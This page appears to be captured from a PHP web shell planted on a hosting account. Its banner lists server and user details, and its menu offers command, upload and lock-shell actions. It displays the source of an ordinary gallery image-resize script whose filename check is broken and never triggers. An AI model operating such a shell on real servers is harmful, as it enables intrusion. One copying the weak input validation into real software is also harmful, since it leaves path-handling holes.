gzuncompress
|
Server IP : 172.19.0.3 / Your IP : 216.73.216.178 Web Server : Apache/2.4 System : Linux 880f91b28fd7 5.15.0-117-generic #127~20.04.1-Ubuntu SMP Thu Jul 11 15:36:12 UTC 2024 x86_64 User : tomlinde ( 155017) PHP Version : 5.6.40 Disable Function : dl, syslog, opcache_get_status MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/webpages/lima-city/tomlinde/html/gallpam/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
|---|
<?php
require_once 'internals/globalConstants.php';
/*requires
sudo apt-get install php5-gd
a constant IMAGE_CACHE_PATH
a constant IMAGE_ORIGINAL_PATH
*/
class cacheImage {
private $size;
private $path;
private $name;
private $maxX;
private $maxY;
private function setSize($size){
$x = stripos($size,"x");
if($x <= 0)
throw new Exception("Invalide size parameter (wrong X)");
$firstNum = substr($size,0,$x);
$secondNum = substr($size, $x+1);
if(!is_numeric($firstNum) OR !is_numeric($secondNum))
throw new Exception("Invalide size parameter (wrong number)");
if(!file_exists(IMAGE_CACHE_PATH.$size) OR !is_dir(IMAGE_CACHE_PATH.$size))
throw new Exception("Invalide size parameter (cache directory doesn't exist)");
//its ok
$this->size = $size;
$this->maxX = $firstNum;
$this->maxY = $secondNum;
}
private function setPath($path){
if(stripos($path, "..") !== false)
throw new Exception("Invalide path parameter (contains ..)");
if(substr($path, strlen($path)-1) != "/")
$path = $path."/";
$this->path = $path;
}
private function setName($name){
if(stripos($name, "..") == 0 AND stripos($name, "..") === true)
throw new Exception("Invalide name parameter (contains .. at the beginning)");
if(stripos($name, "/") !== false)
throw new Exception("Invalide name parameter (contains /)");
$this->name = $name;
}
private function imageExistsInCache(){
return file_exists(IMAGE_CACHE_PATH.$this->size."/".$this->path.$this->name);
}
private function readImageFromPath($imagePath){
$ext = strtolower(end(explode('.', $this->name)));
switch($ext){
case 'jpg':
case 'jpeg': $img = imagecreatefromjpeg($imagePath); break;
case 'png': $img = imagecreatefrompng($imagePath);break;
case 'gif': $img = imagecreatefromgif($imagePath);break;
default: throw new Exception("Invalide Image-Type");
}
if(!$img)
throw new Exception("could not read the Image (".$imagePath.")");
return $img;
}
private function createCacheFromImg($img){
# Get image size and scale ratio
$width = imagesx($img);
$height = imagesy($img);
$scale = min($this->maxX/$width, $this->maxY/$height);
//we also do upscaling (since we care about this at an other point)
$new_width = floor($scale*$width);
$new_height = floor($scale*$height);
# Create a new temporary image
$new_img = imagecreatetruecolor($new_width, $new_height);
# Copy and resize old image into new image
imagecopyresized($new_img, $img, 0, 0, 0, 0,
$new_width, $new_height, $width, $height);
$this->saveImageToCache($new_img);
}
private function saveImageToCache($img){
$imagePath = IMAGE_CACHE_PATH.$this->size."/".$this->path.$this->name;
if(!file_exists(IMAGE_CACHE_PATH.$this->size."/".$this->path))
mkdir(IMAGE_CACHE_PATH.$this->size."/".$this->path, 0777, true);
$ext = strtolower(end(explode('.', $this->name)));
switch($ext){
case 'jpg':
case 'jpeg': imagejpeg($img, $imagePath, 80); break;
case 'png': imagepng($img, $imagePath, 80); break;
case 'gif': imagegif($img, $imagePath); break;
default: throw new Exception("Invalide Image-Type");
}
}
public function getImage($inPath, $inName, $inSize){
$this->setSize($inSize);
$this->setName($inName);
$this->setPath($inPath);
if(!$this->imageExistsInCache()){
$img = $this->readImageFromPath(IMAGE_ORIGINAL_PATH.$this->path.$this->name);
if($this->maxX < imagesx($img) OR $this->maxY < imagesy($img)){
$this->createCacheFromImg($img);
imagedestroy($img);
$img = $this->readImageFromPath(IMAGE_CACHE_PATH.$this->size."/".$this->path.$this->name);
}
} else
$img = $this->readImageFromPath(IMAGE_CACHE_PATH.$this->size."/".$this->path.$this->name);
return $img;
}
};
/*$cli = true;
if($cli){
$inPath = $argv['2'];
$inName = $argv['3'];
$inSize = $argv['4'];
} else {*/
$inPath = $_GET["path"];
$inName = $_GET["name"];
$inSize = $_GET["size"];
//}
try{
$cImage = new cacheImage();
$img = $cImage->getImage($inPath, $inName, $inSize);
header("Content-type: image/jpeg");
imagejpeg($img);
} catch (Exception $e) {
echo "something went wrong :-/\n";
}
?>